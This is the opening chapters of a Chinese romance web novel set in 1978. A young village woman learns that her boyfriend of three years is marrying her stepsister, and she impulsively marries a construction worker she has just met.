《被骗做备胎,七零娇娇高嫁后好孕连连》 第一章备胎 1978年,省城火车站。 为了给男友一个惊喜,苏念橙站了一天一夜的火车才来到省城。 尽管累得双腿都木了,她心里却还是甜丝丝的。 有同村的婶子忍不住打趣。 “念橙啊,你总算是熬出头啦!等以后结了婚就是城里人,这不得享一辈子福?” 苏念橙的脸红扑扑的,含羞带怯。 看着窗外飞奔的景色,她心中满是对未来的憧憬。 自从三年前何钧礼下乡后,他俩就看对眼背地里处上对象了。 为了让他有更多时间学习,她起早贪黑的赚工分供他读书。她自己穷到连口玉米面糊糊都舍不得吃,给他买的却全是精米精面。 到现在她都还记得,回城前何钧礼通红着眼握着她的手保证。 “橙子,等我,我一定会回来接你!” 而他也果然没有让她失望。 为了给她一个惊喜,何钧礼特意瞒着没把请函寄给她,只提前给了自家人。 但他没想到自己的亲妹妹何佩佩是苏念橙最好的闺蜜。 在一周前就寄信喊她去省城吃席。 想着未来的日子,她随着人流下了火车。刚见到何佩佩,就被一把搂住了。 “念橙你终于来了!再晚来几天,你都赶不上我哥结婚了!” 她这个新娘也才刚到,怎么可能会赶不上? 苏念橙心中小小疑惑了下,并未在意。而是红着脸有些扭捏的问。 “佩佩,你怎么知道你哥要结婚的?” 何佩佩“害”了一声。 “我爸妈都忙活半个月了,我还能不知道?他们准备得可隆重了,上海牌手表、永久自行车、蝴蝶缝纫机一样不少,就连酒席都在国营饭店定了八桌呢!” 苏念橙听着,嘴角忍不住上扬。 三大件,八桌酒席……他真舍得。 虽然有点铺张,但这份心意让她心里甜丝丝的。 “就是新娘子我不太喜欢。” 何佩佩撇撇嘴,“娇滴滴的,说话拿腔拿调,还总摆出一副大学生的架子。对了,她也姓苏,叫苏荷雨,你说巧不巧?” 苏念橙的笑容僵在脸上:“苏荷雨?” “对啊,你认识?” 何佩佩忽然想起什么,“哎,说起来她跟你长得还挺像呢!不过没你好看。刚巧她今天也到火车站呢,我哥也来接她了。” 苏念橙脑子里“嗡”的一声。 苏荷雨,她继妹,那个被全家捧在手心里、一路供到省城师范学院的金凤凰。 在家里,苏念橙就是最卑微的存在。明明她才是苏国强的亲女儿,待遇却和苏荷雨一个天一个地。 苏荷雨穿的都是供销社进口布做的裙子,顿顿都能吃鸡蛋。手指更是比城里的一些大小姐还要秀气。 可她苏念橙衣服要捡苏荷雨剩下的,房间就在柴房拉个帘子。 当时何钧礼知道自己在家的情况后,对苏荷雨深恶痛绝,满眼都是厌恶。 现在却告诉她,何钧礼要娶的是苏荷雨? “他们在哪儿?” 苏念橙听见自己的声音干巴巴的,整个人都在颤抖,不可置信。 何钧礼的女朋友不是她么?为什么会这样! “我记得跟你同一班车。” 何佩佩踮脚张望,然后指向出站口。 “喏,那边呢!” 苏念橙顺着她手指的方向看去。 秋日的阳光下,何钧礼穿着笔挺的蓝色中山装,头发梳得一丝不苟。他身边站着个穿粉色连衣裙的姑娘,长发披肩,正是苏荷雨。 何钧礼正低头对苏荷雨说着什么,嘴角带笑,神情是苏念橙从未见过的温柔。 苏荷雨娇笑着捶了他一下,他顺势握住她的手,两人手指交缠,明晃晃的动作刺得苏念橙眼睛生疼。 “他们谈了得有三年了吧,我哥藏得可真深,连我都瞒着。要不是为了结婚,恐怕都不会告诉我呢。” 何佩佩在旁边嘟嘟囔囔,苏念橙却一句都听不清了,她只觉得全身的血液都往头上涌,耳边嗡嗡作响。 三年,他也和自己谈了三年。 在她起早贪黑赚工分的时候,她的男友却和自己的继妹搅和在了一起! “念橙你脸色怎么这么白,是不是中暑了?” 何佩佩关切地凑过来。 苏念橙猛地回过神,指甲深深掐进掌心。愣是挤出一个比哭还难看的笑。 “没事,可能坐车太累了。” 怪不得苏国强死活不愿意松口让她进城,原来是为了怕她搅了苏荷雨的婚礼。 要不是她假意松口愿意相亲,怕是根本出不来。 苏念橙根本不信满心都扑在苏荷雨身上的苏国强能给她找什么样的好男人,但不论是骡子是马都得去探探底,她也可以借着这个借口暂时留在城里。 她不甘心认命,就这么回乡下,和承认自己的失败有什么两样? 不蒸馒头争口气! 既然何钧礼能念书,她也要念! “佩佩,我忽然想起有点急事。你先回去吧,我晚点找你。” “什么事这么急,要我陪你吗?” “不用,我自己能行。” 苏念橙抽出被挽着的胳膊,擦掉几乎要流出的泪水,坚定向外面走去。 …… 国联大饭店是省城数一数二的气派地方,苏念橙站在门口,仰头望着三层高的楼房,心里有些打鼓。 她这辈子没进过这么高档的地方。 门口的服务员打量她一眼,目光在她洗得发白的衬衫上停了停。 “同志,吃饭还是找人?” 苏念橙捏紧衣角,“我、我找人。岳老板在吗?” 服务员神色古怪地上下看她两眼,“二楼,靠窗那张桌。” 苏念橙咬着嘴唇上楼。 二楼人不多,靠窗的位置只坐了一个男人。 他背对着楼梯,穿着一件半旧的灰色工装,肩膀宽阔,坐得笔直。 这就是那个四十岁二婚带俩娃的岳老板?看着不太像…… 苏念橙愣了一下,心中生出狐疑。 男人看起来顶多三十出头,脸庞棱角分明,眉眼深邃,皮肤是常年日晒的古铜色。最特别的是那双眼睛,黑沉沉的,像是能看透人心。 他的面前简单摆了两道家常菜,看起来像是刚端上桌,还没动筷子。 “岳老板?” 男人的目光在她身上凝滞片刻,没说是,也没说不是:“你好。” 声音低沉,带着点沙哑,不难听。 苏念橙心一横,干脆在对面坐下。 反正都到这一步了,她还有什么好怕的? 更何况,这男人长得也帅,跟他结婚的话,自己也不亏! “我叫苏念橙,今年二十一。我知道你的家庭情况,正好我家里也想让我嫁给你。你放心我不图你什么,就想在城里有个落脚的地方。如果你不信,现在国外不都流行什么合同吗?我们也可以签一个。我帮你料理家务,你供我吃住。等我攒够钱考上大学,我们就离婚,我绝不纠缠。” 一口气说完,她心跳如擂鼓,不敢看对方的眼睛。 男人沉默了很久,久到苏念橙以为他会直接离开。 “为什么找我?”他终于开口。 苏念橙鼻子一酸,差点掉下泪来,却硬生生忍住了。 “因为我没地方去了。” 她回家就要被卖给下一个岳老板、张老板、李老板,但不回家留在城里,她没户口没粮食关系,连招待所都住不起。 男人忽然笑了一下,将桌上的烟别到耳后站起身,吩咐服务员把饭菜打包。 “成。时间还早。要不现在就去街道打结婚报告?” 第二章 结婚 从街道办出来时,苏念橙手里多了一张薄薄的纸。 看着手中那张油墨未干的结婚证明,苏念橙只觉得有些恍惚的不真实。 她就这样和一个刚见一次面的男人定下了? “后悔了?” 旁边传来低沉的声音。 苏念橙抬头,越靳临正看着她,那双眼眸黑沉沉的。 “没,就是感觉有点突然。” 苏念橙后知后觉地羞涩起来,却坚定的摇摇头。把报告小心地折好,放进贴身口袋里。 她没有家了,何钧礼敢骗她,跟别的女人结婚,她为什么不能跟别的男人结婚? 她原本还有些打鼓,但直觉告诉自己,这个男人值得信任。 “对了,”苏念橙忽然想起什么,“还不知道你全名呢。” “越靳临。靳是革斤靳,临是临时的临。” “苏念橙。苏州的苏,想念的念,橙子的橙。” 说完名字,两人之间又安静下来,巷子口有老太太拎着菜篮子经过,朝他们这边多看了两眼。 最后还是越靳临打破沉默,“你住哪,我送你。” 苏念橙这才想起来,自己那个打着补丁的帆布行李包还在佩佩那儿。刚才跑得太急,压根儿没顾上拿。 “不用了,我行李少,就一个包。在……在朋友家,我自己去拿。你把你家地址给我就好。” 虽说二人已经打了结婚报告,但她暂时还不想让他知道这些乱糟糟的事。 越靳临看了她一眼,也没多问,只把手上打包好的饭菜递给她。 “好,我家在槐花胡同三号楼。” 他说着又顿了一下,从怀里拿出一叠纸币和粮票递过去。 “这个也拿着。万一找不到路,就叫个三轮,省城的胡同弯弯绕绕,容易走丢。” “我真不用……” “拿着。”他语气重了些,但不算凶,“你现在是我媳妇儿,花我的钱天经地义。” 苏念橙脸一下子红了。 他怎么这样…… 苏念橙羞的耳尖都泛起粉色,在男人的注视下眼睫轻颤着将钱收下,声音轻如蚊呐。 “……谢谢。” 粗粗一数,这叠钱少说也有五块。更别说还有五斤粮票,她省着点都够用半个月了。 这么大手笔让她莫名有些惶恐,可一想到自己如今的窘态,她又抿了抿唇,小心翼翼地收好。 等她以后考上大学了再还给他吧。 两人在街口分开。 越靳临往东走,苏念橙看着他宽厚的背影消失在胡同口,这才松了口气。 她四下看了看,在街角找到个公共电话亭。摸出五分钱硬币投进去,拨通了村里小卖部的号码。 “喂?李婶吗?我是念橙。麻烦您叫我爸来接个电话,有急事。” 等了好一会儿,电话那头才传来苏国强喘着粗气的声音。 “你到省城了?见着岳老板没?” 苏念橙眼神嘲讽,声音平淡至极。 “见了,也相中了。过不了几天就能谈彩礼了。爸,您别忘了答应我的事。” 苏国强装傻:“啥事啊?” 苏念橙眼神一冷,“您要是不给,我明天就买票回去。岳老板那边,我就说家里不同意。” 苏国强立马急了,“你这孩子怎么这么不懂事!我又没说不给!等你和岳老板的事儿定下来彩礼到手了,我就把你妈那些东西给你寄过去!” “我知道都有哪些,一样都不准少!少一样,这婚事就黄。” 苏国强在那头骂骂咧咧,但最后还是答应了。 挂电话前,他又补了一句:“念橙,你妹妹也在省城,你……” “我知道。” 苏念橙淡淡地说,“我还有事,先挂了。” 放下电话,她靠在电话亭的玻璃墙上,长长吐出一口气。手心全是汗。 …… 另一边,越靳临回了趟军区大院。 越家老宅在院子最里头,独门独院,门口两棵老槐树,这会儿叶子黄了一半。 刚推开门,就听见越老太太在屋里喊:“靳临回来了?快进来,奶奶有话跟你说!” 越靳临叹了口气,揉了揉眉心,走进堂屋。 老太太正坐在八仙桌边摇蒲扇,见他进来,立马坐直了身子。 “你张奶奶又给你介绍了个姑娘,纺织厂的工人,二十三,模样周正着呢!” “我可和你说,这次你用什么借口都跑不掉,老大不小了不想着成家,你这是要把我这个老婆子愁死啊!” “奶奶。”越靳临打断她,早有预料般从口袋里掏出那张崭新的结婚证,摊开放在桌上,“我已经结婚了。” 老太太一愣,手上蒲扇一下就掉在地上。 她抓起结婚证,凑到眼前看了足足三遍。又抬头看看孙子,再看看结婚证上那个陌生姑娘的黑白照片,眼睛瞪得老大。 “你别是糊弄我这老太婆的吧?” 越靳临弯腰捡起蒲扇,递回给她:“街道办盖的章,还能有假?” 老太太连珠炮似的问,激动得脸都红了。 “姑娘现在人在哪呢?哪儿的人,多大,干啥工作的,长得咋样?” 越靳临言简意赅:上“苏念橙,二十一,家是下面县里的,现在没工作。” “二十一?这么小?” 老太太先是一惊,随即又笑起来,“小了好,小了好!这姑娘长得真俊!就是瘦了点。你看看这小脸,还没我巴掌大呢!” 越靳临想起苏念橙站在饭店门口,捏着衣角强装镇定的样子。 确实瘦,那手腕细得他两根指头就能圈住,风一吹就能倒似的。衣服也旧,洗得发白,袖口都磨毛了。得多吃点,养得肉乎乎的,看着才踏实。 “改天带她回来吃饭。”他说,“您给做点好的,补补。” 老太太乐得合不拢嘴,拿着结婚证左看右看,“好好!这周末就带回来!我杀只鸡,炖汤!既然嫁进我们家,保准养得白白胖胖的!” 第三章 自作多情 早在来之前,何佩佩就把何家地址给了苏念橙。 她站在门口,手举起来,又放下。 屋里传来笑声,热热闹闹的。 何母的声音满满都是笑意,“荷雨啊,你这手艺可真不错。这红烧肉炖得比国营饭店的还香。” 苏荷雨声音娇娇的,“阿姨您过奖了,我就是随便做做。钧礼他就爱吃这一口,我专门为他学的呢。” 何钧礼的声音是苏念橙从未听过的温柔,“妈您可别夸她,再夸她该飘了。那三年要不是多亏了荷雨,我都不知道该怎么过下去。” 苏念橙的手按在门板上,冰凉。 门里的欢声笑语像针一样扎在她耳朵里。她深吸一口气,抬手敲门。 “咚咚咚。” 屋里的说笑声停了。 “谁啊?” 何佩佩的声音由远及近,打开门看见她眼睛顿时一亮。 “哎呀念橙,你可算来了!” 她一把将苏念橙拉进屋。 屋内暖洋洋的,四方桌边围坐着五个人。 何父何母坐在主位,何钧礼和苏荷雨并肩坐着,碗里的饭菜还冒着热气。 桌上有红烧肉、炒白菜、韭菜炒鸡蛋,还有一盆西红柿鸡蛋汤。 在这个年代,算是相当丰盛的一顿了。 何钧礼手里的筷子掉在桌上。 苏荷雨的笑容僵在脸上,但很快又弯起眼睛,甜甜地叫了一声。 “姐,你怎么来了?” 何父何母面面相觑。何母打量着苏念橙洗得发白的衣服,眉头皱了皱。 何佩佩没察觉到气氛不对,拉着苏念橙往屋里走,“还没吃饭吧,正好一起吃点。妈,加双筷子!” 何母犹豫着站起来,“这位是……” 何佩佩大大咧咧地说,“我跟你们提过的,这是我在乡下最好的朋友,苏念橙!” 何钧礼终于回过神来。 他站起身,脸上已经恢复了平静,甚至带着疏离。 “苏同志你好,我是佩佩的哥哥,何钧礼。” 苏同志。 好一个苏同志。 苏念橙看着他那张熟悉的脸,此刻却陌生得可怕。 他穿着崭新的白衬衫,头发梳得一丝不苟,坐在穿着粉色连衣裙的苏荷雨身边,真是一对璧人。 苏念橙本以为自己能够放下,此刻却还是感到一股涩意涌上鼻尖,让她眼底发酸。 她别开眼,声音有些发冷。 “不用麻烦了,我就是来拿行李的。拿了就走。” 何佩佩不依,“走啥啊,你大老远来一趟,不住几天咋行?就住我屋,咱俩挤挤。” 苏念橙摇摇头,目光扫过屋角。 她的帆布包就放在角落。 何家屋内虽然不宽敞,却收拾的井井有条,衬得她那打了补丁的包格格不入。 她走过去拎起包转身就走,身后,何佩佩有些无措的跟了过来。 “念橙你没事吧,要不先歇歇……” 苏荷雨也起身。 “姐,既然来了就多住几天嘛。我好久没见你了——” 说着,她走上前亲热地挽住苏念橙的胳膊。手指却暗暗用力,指甲掐进苏念橙手臂内侧最嫩的肉里。 苏念橙吃痛,下意识地甩开手。 “啊!” 苏荷雨惊呼一声,踉跄着往后退了两步,跌坐在地上,眼眶瞬间就红了,“姐,你推我干嘛……” “荷雨!” 何钧礼一个箭步冲过来,扶起苏荷雨转头瞪向苏念橙,“你干什么?!” “我没推她。是她先掐我的。” “我怎么会掐姐姐呢?” 苏荷雨眼泪汪汪地靠在何钧礼怀里,“我就是想留姐姐住几天。钧礼,我手疼……” 何钧礼低头检查她的手,果然看见手腕处红了一块,语气顿时冷了下来。 “给荷雨道歉!” 苏念橙看着他那副维护的样子,忽然扯了扯嘴角。 “我没错,道什么歉。” “你——” 何钧礼脸色沉下来。 “算了算了,都是误会。念橙是吧?要不先坐下吃饭……” 何母急忙打着圆场,苏念橙却深吸一口气,转身离开。 “不用了。” “念橙!” 何佩佩想追,被何父拉住了。 楼道里很暗,她几乎是跌跌撞撞地下楼。 刚走到一楼,身后传来急促的脚步声。 “苏念橙,你等等!” 何钧礼追了上来,一把拉住她的胳膊。 “你闹够了没有?突然跑来省城,也不提前说一声。现在又在我家闹这一出,你让我爸妈怎么想?” 苏念橙甩开他的手,声音很轻,“何钧礼,我们分手吧。” 何钧礼愣了一下,随即嗤笑一声,“分手?苏念橙,我们什么时候在一起过。” 苏念橙怔住了。 何钧礼语气带着轻蔑。 “在乡下那三年,是你自己愿意对我好,我可从来没说过要跟你处对象。我和你说的那些,也都是感谢你的照顾,有哪一句说过喜欢你要娶你?” 他往前一步,居高临下地看着她。 “苏念橙,你一个初中都没念完的乡下姑娘,凭什么觉得我会娶你。我爸妈是机械厂的工程师,我自己也是设计院的预备干部,我要娶的是荷雨那样的大学生,是能跟我谈理想谈未来的知识女性,不是你这种只会洗衣做饭的乡下人!” “啪——!” 清脆的耳光声在楼道里格外响亮。 苏念橙的手停在半空中,掌心火辣辣地疼。 她浑身都在发抖,眼泪在眼眶里打转,却死死咬着嘴唇不让它掉下来。 何钧礼捂着脸,不可置信地看着她。 “你敢打我?” 苏念橙的声音颤抖,却一字一句,“从今天起,我苏念橙跟你一刀两断。在乡下的那三年,我就当喂了狗。从今往后,你走你的阳关道,我过我的独木桥。” 她拎起行李包,转身往外走。 “苏念橙!” 何钧礼在身后喊,她却没回头。 走出楼道,外面不知什么时候下起了雨。 秋雨细细密密的,打在脸上冰凉。 家属院里没什么人,只有几扇窗户透出昏黄的灯光。 苏念橙走到转角处,终于走不动了。 她蹲下来,把脸埋进膝盖里,肩膀开始剧烈地颤抖。 眼泪大颗大颗地往下掉,砸在尘土里。她不敢出声,只能把脸埋在膝盖里,肩膀一耸一耸的。 三年的时光,一千多个日日夜夜,原来只是她一个人的自作多情。 何钧礼从来没想过娶她。 他把她当保姆,当取款机,当消遣。 在他回了城有了体面的工作后,就一脚将她踹开。 可是难道她就不想读书吗?她也想堂堂正正的走在学堂里,而不是只能捡着苏荷雨不要的课本看。 苏念橙哭得喘不过气,指甲掐进掌心,留下深深的印子。 不知道过了多久,一双军绿色的靴子停在她面前。 靴子沾着泥点,鞋帮磨得有些发白,但擦得很干净。 不等她抬头,头顶便传来男人低沉的声音。 “谁欺负你了?” 第四章 出入家门 苏念橙猛地抬起头,眼泪还挂在睫毛上,视线模糊里,越靳临那张棱角分明的脸显得有些朦胧。 她慌慌张张地想站起来,可蹲得太久腿早就麻了。刚起身眼前就是一黑,整个人往身前扑去。 “小心。” 一只结实的手臂及时揽住了她的腰,稳稳将她扶住。 隔着薄薄的衬衫布料,她能感觉到那只手掌的温度和力度,还有掌心粗糙的茧子。 苏念橙的脸“腾”地烧了起来。 她站稳身子,慌忙退开两步,低着头不敢看他:“谢、谢谢……” 越靳临收回手,手指在身侧不自觉捻了捻。 那腰细得,他一只手几乎能环过来。太瘦了,得好好补补。 苏念橙低着头不敢看他,手指揪着衣角。 “你……你怎么在这儿?” 越靳临沉默一瞬,指了指她身后那栋楼。 “这儿就是我跟你说的地址。” 苏念橙愣愣地回头。 可不是嘛,红墙白瓦的三层楼房,看着就很气派。 刚才她蹲的墙角,就在这栋楼背面。 她居然跑到他家楼下哭了半天。 “我、我不知道……” 她尴尬得想找个地缝钻进去。 越靳临倒是语气平淡,弯腰拎起她脚边的帆布包。 “没事,刚好进屋吧。” 屋内很亮堂,一进门就能看到墙上崭新的主席海报。和何家温馨的屋内不同,这里很明显一眼就能看出是单身男人的房间。整洁中带着冷硬。 客厅里摆着一张不大的桌子,墙角的柜子里整整齐齐放着图纸和书本,桌子上甚至还有个收音机。 “坐。” 越靳临把包放在桌上,拉了两张椅子过来。 “喝水吗?” 苏念橙站在门口,有些局促。 “不用麻烦了。” 越靳临看了她一眼,还是起身倒了杯水。水是温的,刚好能入口。 苏念橙接过来,小口小口地喝。 水温传到手心,暖暖的。 “刚才……”越靳临开口,顿了顿,“谁欺负你了?” 苏念橙捧着缸子的手紧了紧。 她低下头,看着缸子里自己的倒影,眼圈还红着。她咬了咬唇,声音有些沙哑。 “隔壁楼有点私事。不过已经解决了,不会影响你的。” 她说得含糊,越靳临也没追问,只是“嗯”了一声。 气氛又沉默下来。 过了一会儿,越靳临站起来:“你先洗漱休息。厕所在楼梯口,里面有热水壶。” 他转身进了房间,再出来手上就拿着一条崭新的毛巾和肥皂。 “新的,没用过。” 他又指了指二楼,“二楼有空房间,柜子里有干净被褥,你自己拿。” 知道他是关心自己,苏念橙心底酸酸胀胀的,也不扭捏,红着耳朵道谢。 “谢谢你,越先生。” 越靳临动作一顿,抬眸看了她一眼,“叫我的名字,或者喊同志就好。” 苏念橙眼睫轻颤,只觉得一阵热意涌上心头,她结结巴巴的应了声。 “好……靳临同志。” 小姑娘人长得娇娇的,声音也软软糯糯。 越靳临眸色深了几分。 …… 第二天刚蒙蒙亮,苏念橙就醒了。 她看着陌生的天花板,愣了好一会儿才反应过来自己在哪里。 她轻手轻脚地爬起来,叠好被子推开门,迎面却撞见越靳临站在门口。 他赤着上身,只穿了条军绿色的长裤。古铜色的皮肤上覆着一层薄汗,肌肉线条分明,肩膀宽阔,腰腹紧实。他手里拿着条毛巾正在擦头发,水珠顺着脖颈滚落。 四目相对。 苏念橙“啊”了一声,脸瞬间红透了,猛地转过身去。 越靳临也愣了一下,随即反应过来。 “……抱歉,忘了你在。” 他迅速套上搭在肩上的工装背心,声音有点不自然。 “我早上习惯锻炼身体。” 苏念橙恨不得把脸埋进地里。 “没、没关系。” 她结结巴巴说着,脸蛋通红往楼下跑去。 一下楼就看到厨房桌上放着个网兜,里头装着油条、豆浆,还有几个肉包子。油条包子用油纸包着,还冒着热气。 这么多东西,得花不少钱和粮票吧。 她心里酸酸的,又暖暖的。 等越靳临回来时,她已经把早饭都摆好了。 豆浆倒在两个搪瓷缸子里,油条撕成小段放在盘子里,包子也整整齐齐摆在盘子上。 而她则端坐在桌边,见他下来,立马笑得眉眼弯弯。 “你好啦?” 越靳临看着眼前这幕喉口微动,心募地一软。 “不知道你喜欢吃什么,我就都多买了些。以后不用等我,饿了就吃。” “嗯。” 苏念橙点点头,见他先拿了个包子,才端起豆浆小口喝着。 她偷偷抬眼看越靳临。 他已经恢复了平时那副没什么表情的样子,低头吃着包子。动作很快,但不粗鲁。 苏念橙眨眨眼,忽然感觉其实这样也不错。 虽然他话不多,但人实在,对她也好。 而且到现在都没让她看到那两个孩子,说明他在家庭关系方面也能很好的解决问题。 最起码比那个虚伪的渣男好太多了。 吃完饭,她抢着收拾碗筷。越靳临也没拦着,只是心底默默盘算着有空得去找个保姆。 他娶人回来可不是为了做这些,更何况小姑娘这么瘦,可千万不能再折腾了。 就在他神游时,苏念橙已经麻利的收拾好。 越靳临立马回神,看她似乎要出门有些好奇。 “你要出门?” “我想去教育局问问高考的事。” “应该的。地址知道吗?” “知道,在中山路。” “嗯,那儿离我工地不远。” 苏念橙是真的惊了。 她打听教育局位置的时候,有听一耳教育局附近的工地规模很大,原来越靳临也在那上班? 原来,他的职业是工人…… 看着男人宽阔的背影,她眼眸微闪。 他帮了自己这么多,她也想在力所能及的范围内帮帮她。 虽然她没来过省城的工地,但乡下工人的食堂她还是见过的。清汤寡水,荤腥很少。 既然她已经是男人的媳妇,那干脆做点午饭给他送过去吧。 第五章请你自重! 红旗机械厂的工地在城西,一片尘土飞扬的空地上,几栋楼房刚起了骨架。钢筋水泥堆成小山,搅拌机轰隆隆地响,工人们戴着安全帽,来来往往地忙碌着。 苏念橙拎着饭篮子站在工地门口,有点不知所措。 她穿得实在太格格不入了。 格子衬衫,黑色长裤,布鞋,站在一群穿着工装、满身尘土的工人中间,像灰扑扑的砖堆里突然开出一朵小白花。 几个年轻工人已经注意到她了,交头接耳,眼神直往这边瞟。 “哟,这是谁家媳妇?长得可真俊!” “找人的吧?你看她拎着饭盒呢!” “姑娘,找谁啊?” 一个年纪大点的老师傅扬声问。 苏念橙脸红了,低头看着自己的鞋尖。 “我找越靳临。” “找越工啊!” 几个工人交换了个眼神,笑容暧昧起来,“越工!有人找——!” 声音传开,工地上好些人都停下活计往这边看。 苏念橙被看得浑身不自在,手指紧紧攥着饭篮子的提手。 这时,从正在搭建的厂房架子后走出个人。 越靳临穿着件洗得发灰的白色老头衫,下身是条沾满水泥点的军绿色工装裤,汗水把布料浸得半透,紧紧贴在身上,勾勒出结实的手臂和宽阔的肩膀。 他手里还拎着个铁榔头,看见苏念橙时愣了一下,随即快步走过来。 “你怎么来了?” 他走到她面前,很自然地挡住了身后目光。 苏念橙举起饭篮子,有些不好意思,“我来给你送饭。” 竹编的篮子里盖着一块蓝白格子的布,隐约能看见底下搪瓷饭盒的轮廓。 工地上传来更大声的起哄。 “越工,不介绍介绍?” “就是啊,这姑娘谁啊?长得跟电影明星似的!” 苏念橙的脸更红了。 “去去去,干你们的活!” 越靳临回头笑骂了一句,但没什么威慑力,反而引来更多笑声。 他转回来,对苏念橙低声说:“他们闹着玩的,没恶意。” “我知道。” 苏念橙脸还是红的,但比刚才镇定了些,“那个……饭给你。我还得去教育局,先走了。” 她把篮子塞到越靳临手里,转身就要走。 “等等。” 越靳临叫住她,“路上注意安全。教育局那边人多,别挤着。” “嗯。”苏念橙没回头,“那我先走了,饭……你趁热吃。” 她几乎是小跑着离开了工地。身后还能听见工人们的哄笑声和越靳临压低声音的呵斥。 等跑过两个路口,她才放慢脚步,捂着发烫的脸喘气。 刚才越靳临那样子…… 她想起他汗湿的老头衫贴在身上,勾勒出宽肩窄腰的线条,手臂肌肉因为用力而绷紧的样子。 越想越是脸红腿软。 她摇摇头,把脑子里那些画面甩掉,继续往中山路走。 …… 工地这边,越靳临拿着饭盒回到临时搭的工棚办公室。 几个相熟的工友跟了进来,笑嘻嘻地围着他。 “老越可以啊,金屋藏娇!” “嫂子啥时候请我们吃喜糖啊!” 越靳临眉头一挑,当着他们的面打开了饭盒,一股热气混着香味就飘了出来。 映入眼帘的便是炒得油汪汪的白菜和土豆炖茄子,最边上还有一个煎得焦脆的荷包蛋。 看得跟过来的工人眼都红了。 “还带鸡蛋呢,我媳妇都没给我煎过鸡蛋!” 越靳临没搭理他们,拿起筷子尝了一口。 白菜很嫩,土豆也很绵软。虽然没有荤菜,依旧好吃。 他低头吃着,嘴角不自觉地微微上扬。 工友老张揶揄道,“老越,这可不像你啊。平时给你介绍对象,你总说忙,没空。这下自己悄没声儿地就找着了?” 另一个工友凑过来,“啥时候请我们喝喜酒?这姑娘看着就不错,一看就适合过日子。” 等工友们闹够了散去,老张留了下来。 他是越靳临在部队时的战友,现在在工地管材料。 他看着低头吃饭的越靳临低声问,“真定下了?” 越靳临点点头,把最后一口吃完。 “嗯。打了报告了。” “行啊你!” 老张拍了他一下,“那姑娘看着不错,就是有点瘦。得好好养养。” “我知道。”越靳临擦擦嘴,忽然想起什么,“对了,老张,你上次说认识卖摩托的?” “对啊,上海产的幸福250,你要买?” “嗯。有现货吗?” 老张眼中满是揶揄,“为了接送媳妇儿,终于舍得花钱了?” 越靳临没否认,“她以后要跑教育局、图书馆,有辆车方便。” “成,我给你问问。不过得排队,现在紧俏着呢。” …… 苏念橙走到中山路时,已经下午一点多了。 这条路是省城的主干道,两旁种着法国梧桐,树荫浓密。教育局就在前头那栋灰色的三层楼里,门口挂着白底黑字的牌子。 她正要过去,旁边一栋气派的科研大楼里走出几个人。 为首的正是何钧礼。 他穿着笔挺的中山装,胸前别着钢笔,手里拿着个文件夹,正和同事说着什么。一抬头,看见了苏念橙。 何钧礼脸上的笑容淡了下来。 他跟同事说了两句,朝她走过来。 苏念橙想绕开,已经来不及了。 “你怎么在这儿?” 何钧礼走到她面前,眉头微蹙。 他的目光落在她手里的空篮子上,嘴角勾起一抹了然的弧度。 “这是来给我送饭?念橙我说过了,我们之间已经结束了。你这样纠缠,传出去对谁都不好。” 苏念橙看着他,忽然觉得有点恶心。 他咋这么自信,真以为她离了他就活不了了? “你脑子是不是有问题,谁告诉你我是来找你的?” 何钧礼一愣,“你什么意思?” 苏念橙嗤笑一声,“我不是来找你的。请你让开,我要去的是教育局。” 何钧礼这才注意到她的方向确实不是朝自己单位。 但他根本不信。 “就你还去教育局?你连字都不识几个,去教育局干什么。念橙别闹了,我知道你生气,但感情的事勉强不来。我已经和荷雨订婚了,你这样只会让自己难堪。” 他说着,伸手想去拉苏念橙的手腕,“乖,先回去。等我忙完了再……” 苏念橙猛地甩开他的手,往后退了一步。 这个动作引得路过的人侧目。 何钧礼脸上有些挂不住,压低声音呵斥,“苏念橙!你别给脸不要脸。我好声好气跟你说话,你这是什么态度?” 苏念橙看着他这张曾经让她魂牵梦萦的脸,现在只觉得可笑至极。 她深吸一口气,声音冷冷的。 “何钧礼,你听好了。第一,我不是来找你的。第二,我已经结婚了。第三,请你自重,别动手动脚!” 第六章 高考 “结婚?你?” 何钧礼上下打量着苏念橙,突然笑出声来,那笑声里满是嘲讽,“苏念橙,你编谎话也得编得像样点。你一个乡下姑娘,昨天才到省城,今天就结婚了?你嫁给谁?街上的叫花子吗?” 苏念橙攥紧了手里的饭篮子,指甲泛白。 她深吸一口气,压下翻涌的恶心感。 “你信不信是你的事,跟我没关系。让开。” 她想绕过他往前走,何钧礼却侧身一步拦住她。 “念橙,你别这样。”他换了副语重心长的口气,“我知道你心里难受,但感情的事不能勉强。你这样自暴自弃,随便找个人嫁了,毁的是你自己的一辈子。” 苏念橙简直要被他气笑了。 这人怎么这么自恋?她说什么他都觉得是在气他? “何钧礼,你是不是有病?”她抬起头,直视他的眼睛,“我结不结婚,嫁给谁,跟你有一分钱关系吗?你以为你是谁?” 何钧礼脸上的表情僵住了。 他头一回见苏念橙这样说话。 在他印象里,苏念橙永远是温柔小意的,说话轻声细语,看他的眼神总是亮晶晶的,带着藏不住的喜欢。 可现在,那双眼睛里竟然只有冰冷的厌恶。 “你……” 他张了张嘴,一时竟说不出话来。 就在这时,一个娇滴滴的声音从身后传来。 “钧礼?” 两人同时回头,苏荷雨穿着一件碎花连衣裙,手里拎着个精致的饭盒,正站在几步外。 她脸上带着甜甜的笑,目光在苏念橙和何钧礼之间转了一圈,最后落在苏念橙身上。 “姐,你怎么又来了?” 又来了。 这三个字像针一样扎进苏念橙心里。 苏荷雨走到何钧礼身边,很自然地挽住他的胳膊,仰起脸笑得温柔,“钧礼,我给你送饭来了,我妈特意炖的排骨汤,说你最近工作辛苦,要好好补补。” 何钧礼的脸色缓和下来,拍拍她的手,“还是阿姨疼我。” “那当然啦。”苏荷雨靠在他肩上,看向苏念橙,“姐,你别怪钧礼。感情的事不能强求,你跟钧礼本来就不合适。” 她顿了顿,叹了口气,一副替她着想的样子。 “你初中都没念完,钧礼可是大学生,现在是设计院的干部。你们两个在一起,能聊什么呢?他说图纸你听不懂,你说村里的事他插不上话。时间长了,两个人都会累的。” 苏念橙看着她那张假惺惺的脸,忽然想起那些年在村里的日子。 每次她和何钧礼偷偷见面,苏荷雨总能恰好出现,把何钧礼叫走。她以为是巧合,现在才明白,哪有那么多巧合。 “苏荷雨。”她开口,声音很平静,“你是什么时候知道我和他的事的?” 苏荷雨眨眨眼,一脸无辜,“姐,你在说什么呀?你和钧礼有什么事?” “别装了。”苏念橙冷笑,“你刚才那些话,不就是想告诉我,我配不上他吗?” 苏荷雨脸色变了变,但很快又恢复成委屈的样子,“姐,你怎么能这么说我?我是真心为你好……” 